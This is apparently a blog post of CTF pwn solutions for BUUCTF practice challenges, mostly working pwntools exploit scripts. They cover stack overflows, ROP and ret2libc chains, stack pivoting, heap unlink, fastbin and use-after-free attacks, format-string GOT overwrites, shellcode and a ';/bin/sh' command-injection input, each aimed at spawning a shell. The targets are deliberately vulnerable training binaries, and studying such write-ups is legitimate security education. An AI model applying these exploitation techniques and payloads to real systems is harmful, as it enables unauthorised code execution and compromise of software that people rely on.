ez_pz_hackover_2016
from pwn import *
context(os = 'linux' , arch = 'i386' , log_level = 'debug')
p=remote('node4.buuoj.cn',27986)
p.recvuntil("0x")
s=int(p.recv(8),16)
print(hex(s))
shellcode=asm(shellcraft.sh())
payload=b"crashme\x00"
payload=payload.ljust(0x1a,b'b')+p32(s-0x1c)+shellcode
p.sendlineafter("> ",payload)
p.interactive()
vuln函数中 与ebp的距离是错误的需要gdb动态调试,shellcode的位置需要用s的地址与ret的地址计算偏移得到
第一个箭头是数据的位置(0xfffcc12)
第二个箭头是ret的位置
第三个箭头是要写入shellcode的位置
第四个箭头是s的位置
wustctf2020_getshell
from pwn import *
context(os = 'linux' , arch = 'i386' , log_level = 'debug')
p=remote('node4.buuoj.cn',29222)
payload = b'a'*0x1c+p32(0x804851B)
p.send(payload)
p.interactive()
jarvisoj_level3_x64
from pwn import *
context(os = 'linux' , arch = 'i386' , log_level = 'debug')
p=remote('node4.buuoj.cn',29850)
libc = ELF('./libc-2.23-64')
elf = ELF('./c')
write_plt = elf.plt['write']
write_got = elf.got['write']
vuln = elf.sym['vulnerable_function']
rdi =0x4006b3
rsi_r15 = 0x4006b1
payload = b'a'*0x88+p64(rdi)+p64(1)+p64(rsi_r15)+p64(write_got)+p64(0)+p64(write_plt)+p64(vuln)
p.sendlineafter("Input:\n",payload)
write = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(write))
libc_base = write - libc.symbols['write']
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
payload = b'a'*0x88 +p64(rdi)+p64(binsh)+p64(system)
p.sendlineafter("Input:\n",payload)
p.interactive()
bjdctf_2020_babyrop2
from pwn import *
context(os = 'linux' , arch = 'amd64' , log_level = 'debug')
p=remote('node4.buuoj.cn',29521)
libc = ELF('./libc-2.23-64')
elf = ELF('./d')
rdi = 0x400993
vuln = elf.sym['vuln']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
p.sendlineafter("I'll give u some gift to help u!\n",b'%7$p')
p.recvuntil('0x')
canary = int(p.recv(16),16)
print(hex(canary))
payload = b'a'*0x18+p64(canary)+p64(0)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln)
p.sendline(payload)
puts = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts))
libc_base = puts - libc.symbols['puts']
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
payload = b'a'*0x18+p64(canary)+p64(0)+p64(rdi)+p64(binsh)+p64(system)
p.sendline(payload)
p.interactive()
pwnable_orw
context(os = 'linux' , arch = 'i386' , log_level = 'debug')
p=remote('node4.buuoj.cn',26553)
shellcode = shellcraft.open('/flag')
shellcode = shellcode + shellcraft.read(3,0x0804A0B4,0x30) //3是文件描述符
shellcode = shellcode + shellcraft.write(1,0x0804A0B4,0x30)
p.sendlineafter(':',asm(shellcode))
print(p.recv())
bjdctf_2020_router
puts("Please input the ip address:");
read(0, buf, 0x10uLL);
strcat(dest, buf);
system(dest); //输入 ;/bin/sh
puts("done!");
mrctf2020_shellcode
from pwn import *
context(os = 'linux' , arch = 'amd64' , log_level = 'debug')
p=remote('node4.buuoj.cn',26530)
p.sendline(asm(shellcraft.sh()))
p.interactive()
没有开nx read(0,rax,0x400), call rax
[ZJCTF 2019]EasyHeap(unlink)
from pwn import *
context(os = 'linux' , arch = 'amd64' , log_level = 'debug')
#p=remote('node4.buuoj.cn',26530)
p = process('./c')
#libc = ELF('./libc-2.23-64')
def d():
gdb.attach(p)
pause()
def add(size,content):
p.sendlineafter(":",b'1')
p.sendlineafter(": ",str(size))
p.sendlineafter(":",content)
def delete(index):
p.sendlineafter(":",b'3')
p.sendlineafter(":",str(index))
def edit(index,content):
p.sendlineafter(":",b'2')
p.sendlineafter(":",str(index))
p.sendlineafter(": ",str(len(content)))
p.sendlineafter(": ",content)
add(0x20,'00000000')
add(0x80,'11111111')
add(0x80,'11111111')
add(0x80,'11111111')
heap = 0x6020E0
fd = heap - 0x18
bk = heap - 0x10
payload = p64(0)+p64(0x21)+p64(fd)+p64(bk)+p64(0x20)+p64(0x90)
edit(0,payload)
delete(1)
payload = p64(0)*3+p64(0x6020C0)
edit(0,payload)
edit(0,str(0x1306))
p.sendlineafter(":",b'4869')
p.recv()
p.recv()
p.recv()
上面的只能本地通,因为buu没有/home/pwn/flag;把atoi的got改成system,在输入/bin/sh
from pwn import *
context(os = 'linux' , arch = 'amd64' , log_level = 'debug')
p=remote('node4.buuoj.cn',25800)
elf = ELF('./c')
system = elf.plt['system']
atoi_got = elf.got['atoi']
def d():
gdb.attach(p)
pause()
def add(size,content):
p.sendlineafter(":",b'1')
p.sendlineafter(": ",str(size))
p.sendlineafter(":",content)
def delete(index):
p.sendlineafter(":",b'3')
p.sendlineafter(":",str(index))
def edit(index,content):
p.sendlineafter(":",b'2')
p.sendlineafter(":",str(index))
p.sendlineafter(": ",str(len(content)))
p.sendlineafter(": ",content)
add(0x20,'00000000')
add(0x80,'11111111')
add(0x80,'11111111')
add(0x80,'11111111')
heap = 0x6020E0
fd = heap - 0x18
bk = heap - 0x10
payload = p64(0)+p64(0x21)+p64(fd)+p64(bk)+p64(0x20)+p64(0x90)
edit(0,payload)
delete(1)
payload = p64(0)*3+p64(atoi_got)
edit(0,payload)
edit(0,p64(system))
p.send(b'/bin/sh\x00')
p.interactive()
picoctf_2018_buffer
from pwn import *
context(os = 'linux' , arch = 'amd64' , log_level = 'debug')
p=remote('node4.buuoj.cn',27427)
payload = b'a'*0x2c +p64(0x080485CB)
p.sendlineafter(": \n",payload)
p.interactive()
[Black Watch 入群题]PWN
from pwn import *
context(os = 'linux' , arch = 'i386' , log_level = 'debug')
p=remote('node4.buuoj.cn',28393)
libc = ELF('./libc-2.23-32')
s = 0x804A300
elf = ELF('./pwn')
vuln =0x8048513
leave_ret =0x08048408
payload = b'aaaa' +p32(elf.plt['write'])+p32(elf.sym['main'])+p32(1)+p32(elf.got['write'])+p32(0x30)
p.sendafter('?',payload)
payload = b'a'*24+p32(s)+p32(leave_ret)
p.sendafter(b'What do you want to say?', payload)
write = u32(p.recv(4))
print(hex(write))
libc_base = write - libc.symbols['write']
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
payload = b'aaaa' +p32(system)+p32(elf.sym['main'])+p32(binsh)
p.sendafter('?',payload)
payload = b'a'*24+p32(s)+p32(leave_ret)
p.sendafter(b'What do you want to say?', payload)
p.interactive()
不知道为什么puts不行,在第一页也有一道题是这个原因,不知道是不是栈迁移导致的,应该不太可能
hitcontraining_uaf
from pwn import *
context(os = 'linux' , arch = 'i386' , log_level = 'debug')
p=remote('node4.buuoj.cn',25113)
def d():
gdb.attach(p)
pause()
def add(size,content):
p.sendlineafter(":",b'1')
p.sendlineafter(":",str(size))
p.sendlineafter(":",content)
def show(index):
p.sendlineafter(":",b'3')
p.sendlineafter(":",str(index))
def delete(index):
p.sendlineafter(":",b'2')
p.sendlineafter(":",str(index))
add(0x10,'00000000')
add(0x10,'11111111')
add(0x10,'22222222')
delete(0)
delete(1)
add(0x8,p32(0x8048945))
show(0)
p.interactive()
inndy_rop
from pwn import*
from struct import pack #导包
r=remote('node4.buuoj.cn',27820)
def payload():
p='a'*(0xc+4)
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80
return p
shell = payload()
r.sendline(shell)
r.interactive()
这边直接利用了工具ROPgadget,它有一个功能,可以直接利用程序中的片段拼凑rop链。
ROPgadget --binary 文件名 --ropchain
jarvisoj_test_your_memory
from pwn import *
context(os = 'linux' , arch = 'i386' , log_level = 'debug')
p=remote('node4.buuoj.cn',28667)
system = 0x80485bd
flag = 0x80487e0
payload = b'a'*0x17+p32(system)+ p32(0x8048697)+p32(flag)
p.sendline(payload)
print(p.recv())
需要注意的是程序是scanf %s 遇到\x00会截止
picoctf_2018_buffer overflow 2
from pwn import *
context(os = 'linux' , arch = 'i386' , log_level = 'debug')
p=remote('node4.buuoj.cn',28691)
elf = ELF('./d')
win = elf.symbols['win']
payload = b'a'*0x70+p32(win)+b'aaaa'+p32(0xDEADBEEF)+p32(0xDEADC0DE)
p.sendline(payload)
p.interactive()
cmcc_simplerop
from pwn import *
p = process('./dd')
elf = ELF('./dd')
eax = 0x080bae06
edx_ecx_ebx = 0x0806e850
int_80 = 0x080493e1
buf = 0x80EAF90
payload = b'a'*0x20 + p32(elf.sym['read']) + p32(edx_ecx_ebx) + p32(0) + p32(buf) + p32(0x100)
payload += p32(eax) + p32(0xb) + p32(edx_ecx_ebx) + p32(0)*2 + p32(buf) + p32(int_80)
p.recv()
p.sendline(payload)
p.sendline(b'/bin/sh\x00')
p.interactive()
一开始我发现程序中有sh\x00,就想着不用自己去制作/bin/sh\x00了。后来发现用sh\x00不行;现在还不知道为什么
还有就是read的返回地址必须是三次pop的地址,这三次pop是要将read的三个参数pop掉,不然会导致ret到这三个参数上去
wustctf2020_getshell_2
from pwn import *
r = process('./gg')
sh_addr = 0x08048670
system_addr = 0x08048529
gdb.attach(r)
pause()
payload = b'M'*(0x18+4) + p32(system_addr) + p32(sh_addr)
r.recv()
r.sendline(payload)
r.interactive()
第一张图esp指向call system ,,rip指向ret; 当执行ret指令,esp会指向sh的地址,rip指向call system,call system 会将栈顶(esp指向的sh地址)当作参数,也就实现了system(sh)的作用;在这里call system是一条指令,不是一段函数;只不过在ida中看到的是先push参数入栈,在call 一个玩意;在这道题是先call system 在利用ret指令将sh指向栈顶的*
bbys_tu_2016
from pwn import *
context(os = 'linux' , arch = 'i386' , log_level = 'debug')
p=remote('node4.buuoj.cn',28831)
p.sendline(b'a'*0x18+p32(0x804856D))
print(p.recv())
需要动态调式计算偏移
mrctf2020_easyoverflow
from pwn import *
context(os = 'linux' , arch = 'amd64' , log_level = 'debug')
p=remote('node4.buuoj.cn',26106)
p.sendline(b'a'*0x30+b"n0t_r3@11y_f1@g")
p.interactive()
ciscn_2019_s_4(栈迁移)
from pwn import *
context(os = 'linux' , arch = 'amd64' , log_level = 'debug')
p=remote('node4.buuoj.cn',25336)
leave_ret = 0x080484b8
p.sendafter("?\n",b'a'*0x28)
p.recvuntil('a'*0x28)
old_rbp = u32(p.recv(4))
print(hex(old_rbp))
payload = b'aaaa'+p32(0x8048400)+b'aaaa'+p32(old_rbp-0x28)+b'/bin/sh\x00'
payload = payload.ljust(0x28,b'a')+p32(old_rbp-0x38)+p32(leave_ret)
p.send(payload)
p.interactive()
jarvisoj_level1
from pwn import *
context(os = 'linux' , arch = 'i386' , log_level = 'debug')
p=remote('node4.buuoj.cn',29841)
p.recvuntil(b'What\'s this:')
buf = int(p.recv(10), 16)
print(hex(buf))
payload = b'a'*0x8c+p32(buf+0x90)+asm(shellcraft.sh())
p.sendline(payload)
p.interactive()
远程gg,一开始还以为哪里有错,看了wp才发现用这个方法远程都没通,可以用retlibc打通
wustctf2020_closed
贴一下Y-peak师傅的wp
相信看过题目反汇编的人都知道.
这个题目直接给了你shell
但是为什么输入cat flag无法得到flag. 其实就是因为close(1)
这个命令将你的标准输出给关掉了. 也就意味着, 无法输出任何东西给你
你们应该也看到了其他一些, wp 说只要exec 1>&0就可以了
但是你们却不知道这个的具体含义
exec 也就是重定位在Linux里面
exec 1>&0的意思就是将标准输出定位到标准输入的文件. &+文件描述符, 可以指代该文件(进程)
而在同一个进程里面, 标准输出和标准输入的指向都是相同的终端. 由于标准输入没有被禁用, 所以这句话简单来说就是,重启了标准输出, 你可以输出了.
其实, 原本你输入cat flag就已经得到flag了, 但是没有地方输出. 现在就可以将flag输出到终端了
[ZJCTF 2019]EasyHeap
from pwn import *
context(os = 'linux' , arch = 'i386' , log_level = 'debug')
p = process('./a')
elf = ELF('./a')
libc = ELF('/home/pw/pwn_tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so')
def d():
gdb.attach(p)
pause()
def create(size, content):
p.sendlineafter(b'Your choice :', '1')
p.sendlineafter(b'Size of Heap : ', str(size))
p.sendafter(b'Content of heap:', content)
def edit(index, content):
p.sendlineafter(b'Your choice :', '2')
p.sendlineafter(b'Index :', str(index))
p.sendlineafter(b'Size of Heap : ', str(len(content)))
p.sendafter(b'Content of heap : ', content)
def free(index):
p.sendlineafter(b'Your choice :', '3')
p.sendlineafter(b'Index :', str(index))
def get_shell():
p.sendlineafter(b'Your choice :', '4869')
create(0x10, 'a')
create(0x60, 'b')
create(0x60, 'c')
create(0x10, 'd')
free(1)
free(2)
fd = 0x60208d
payload = p64(0)*3+p64(0x71)+p64(0)*13+p64(0x71)+p64(fd)
edit(0,payload)
create(0x60, b'b')
create(0x60, b'aaa'+p64(0xffffffff))
get_shell()
p.interactive()
和之前拿到题目一样,可以用unlink做,只是我想换换其他办法,就去看了一下xshhc师傅的wp
是利用改fd的位置到magic 前面,刚好这里可以制作成一个0x7f,本来的数据是0x00007f7130bc4620
axb_2019_fmt32
from pwn import *
context(os = 'linux' , arch = 'i386' , log_level = 'debug')
p = remote("node4.buuoj.cn",26353)
elf = ELF('./b')
libc = ELF('./libc-2.23-32')
puts_got = elf.got['puts']
strlen_got=elf.got['strlen']
p.sendlineafter(":" , b'a'+p32(puts_got)+b'%8$s')//没有对齐
p.recv(14)
puts = u32(p.recv(4))
print(hex(puts))
libc_base = puts - libc.symbols['puts']
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
print("system: "+hex(system))
print("printf: "+hex(puts))
low = system&0xffff
high = (system>>16)&0xff
print(hex(low))
print(hex(high))
payload = b'a'+p32(strlen_got+2)+p32(strlen_got)+b'%'+str(high-18)+b'c%8$hhn'+b'%'+str(low-high)+b'c%9$hn' //这里的18是前面1+4+4+9 len(Repeater:)==9
p.sendline(payload)
p.recvuntil(b'me:')
p.sendline(b';/bin/sh\x00')
p.interactive()
用fmtstr_payload工具简单些
ciscn_2019_n_3
from pwn import *
context(os = 'linux' , arch = 'i386' , log_level = 'debug')
p =process('./c')
elf = ELF('./c')
libc = ELF('/home/pw/pwn_tools/glibc-all-in-one/libs/2.27-3ubuntu1.5_i386/libc-2.27.so')
def d():
gdb.attach(p)
pause()
def add(index,size,value):
p.sendlineafter("> ",b'1')
p.sendlineafter("> ",str(index))
p.sendlineafter("> ",b'2')
p.sendlineafter("> ",str(size))
p.sendlineafter("> ",value)
def delete(index):
p.sendlineafter("> ",b'2')
p.sendlineafter("> ",str(index))
def show(index):
p.sendlineafter("> ",b'3')
p.sendlineafter("> ",str(index))
add(0,0x10,'/bin/sh\x00')
add(1,0x10,'/bin/sh\x00')
delete(0)
delete(1)
add(2,0xc,b'bash'+p32(0x8048500))
delete(0)
p.interactive()
others_babystack
from pwn import *
context(os = 'linux' , arch = 'amd64' , log_level = 'debug')
p = remote("node4.buuoj.cn",29687)
elf = ELF('./a')
libc = ELF('libc-2.23-64')
def d():
gdb.attach(p)
pause()
rdi=0x400a93
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main = 0x400908
p.sendlineafter(">> ",b'1')
p.sendline(b'a'*0x88)
p.sendlineafter(">> ",b'2')
p.recvuntil('a\n')
canary=u64(p.recv(7).rjust(8,b'\x00'))
print(hex(canary))
payload = b'a'*0x88+p64(canary)+p64(0)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendlineafter(">> ",b'1')
p.sendline(payload)
p.sendlineafter(">> ",b'3')
puts= u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts))
libc_base = puts - libc.symbols['puts']
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
payload = b'a'*0x88+p64(canary)+p64(0)+p64(rdi)+p64(binsh)+p64(system)
p.sendlineafter(">> ",b'1')
p.sendline(payload)
p.sendlineafter(">> ",b'3')
p.interactive()
pwnable_start
.text:08048060 54 push esp
.text:08048061 68 9D 80 04 08 push offset _exit
.text:08048066 31 C0 xor eax, eax
.text:08048068 31 DB xor ebx, ebx
.text:0804806A 31 C9 xor ecx, ecx
.text:0804806C 31 D2 xor edx, edx
.text:0804806E 68 43 54 46 3A push 3A465443h
.text:08048073 68 74 68 65 20 push 20656874h
.text:08048078 68 61 72 74 20 push 20747261h
.text:0804807D 68 73 20 73 74 push 74732073h
.text:08048082 68 4C 65 74 27 push 2774654Ch
.text:08048087 89 E1 mov ecx, esp ; addr
.text:08048089 B2 14 mov dl, 14h ; len
.text:0804808B B3 01 mov bl, 1 ; fd
.text:0804808D B0 04 mov al, 4
.text:0804808F CD 80 int 80h ; LINUX - sys_write
.text:0804808F
.text:08048091 31 DB xor ebx, ebx
.text:08048093 B2 3C mov dl, 3Ch ; '<'
.text:08048095 B0 03 mov al, 3
.text:08048097 CD 80 int 80h ; LINUX -
.text:08048097
.text:08048099 83 C4 14 add esp, 14h
.text:0804809C C3 retn
被泄露的地址刚好是esp+4的栈地址这样就计算出偏移了也就是0x14
from pwn import *
context.log_level="debug"
p = process('./b')
def d():
gdb.attach(p)
pause()
#d()
payload = 'A'*0x14 + p32(0x8048087)
p.sendafter("Let's start the CTF:",payload)
stack_addr = u32(p.recv(4))
print 'stack_addr: '+hex(stack_addr)
shellcode = asm('xor ecx,ecx;xor edx,edx;push edx;push 0x68732f6e;push 0x69622f2f;mov ebx,esp;mov eax,0xb;int 0x80')
print(len(shellcode))
payload = 'A'*0x14 + p32(stack_addr+0x14)+shellcode
p.send(payload)
p.interactive()
gyctf_2020_borrowstack
from pwn import *
libc = ELF('./libc-2.23-64')
elf = ELF('./d')
context(os='linux', arch='amd64', log_level='debug')
p=remote('node4.buuoj.cn',29222)
leave_ret = 0x400699
bank = 0x601080
rdi = 0x400703
ret = 0x4004c9
payload = b'a'*0x60 +p64(bank)+p64(leave_ret)
p.sendafter("want\n",payload)
payload = p64(ret)*20+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(elf.symbols['main'])
p.sendlineafter("!\n",payload)
puts = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts))
libc_base = puts - libc.symbols['puts']
onegadget = libc_base+0x4526a
payload = b'a'*0x68+p64(onegadget)
p.sendafter("want\n",payload)
p.sendline(b'a')
p.interactive()
用system不能getshell,不知道为什么,网上也没清楚的解释,还有就是栈迁移要抬高栈,不然会把got表覆盖了,栈迁移的坑还蛮多的,需要多注意一下
hitcontraining_heapcreator
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
libc = ELF('/home/pw/pwn_tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so')
p = process('./e')
elf = ELF('./e')
def d():
gdb.attach(p)
pause()
def add(size,content):
p.sendlineafter(":",b'1')
p.sendlineafter(": ",str(size))
p.sendafter(":",content)
def edit(index,content):
p.sendlineafter(":",b'2')
p.sendlineafter(":",str(index))
p.sendafter(": ",content)
def show(index):
p.sendlineafter(":",b'3')
p.sendlineafter(":",str(index))
def delete(index):
p.sendlineafter(":",b'4')
p.sendlineafter(":",str(index))
add(0x18,b'/bin/sh\x00')
add(0x10,b'bbbbbbbb')
payload = b'/bin/sh\x00'+p64(0)*2+b'\x41'
edit(0,payload)
delete(1)
add(0x30,p64(0)*4+p64(8)+p64(elf.got['free']))
show(1)
free= u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(free))
libc_base = free - libc.symbols['free']
system = libc_base + libc.symbols['system']
print(hex(system))
edit(1,p64(system))
delete(0)
p.interactive()
edit中存在off by one ,导致堆重叠,泄露free_got,计算出libc_base ,拿到system,使得free_got为system
标签:p64,libc,system,第二页,BUU,sendlineafter,p32,payload From: https://www.cnblogs.com/zIxyd/p/17539104.html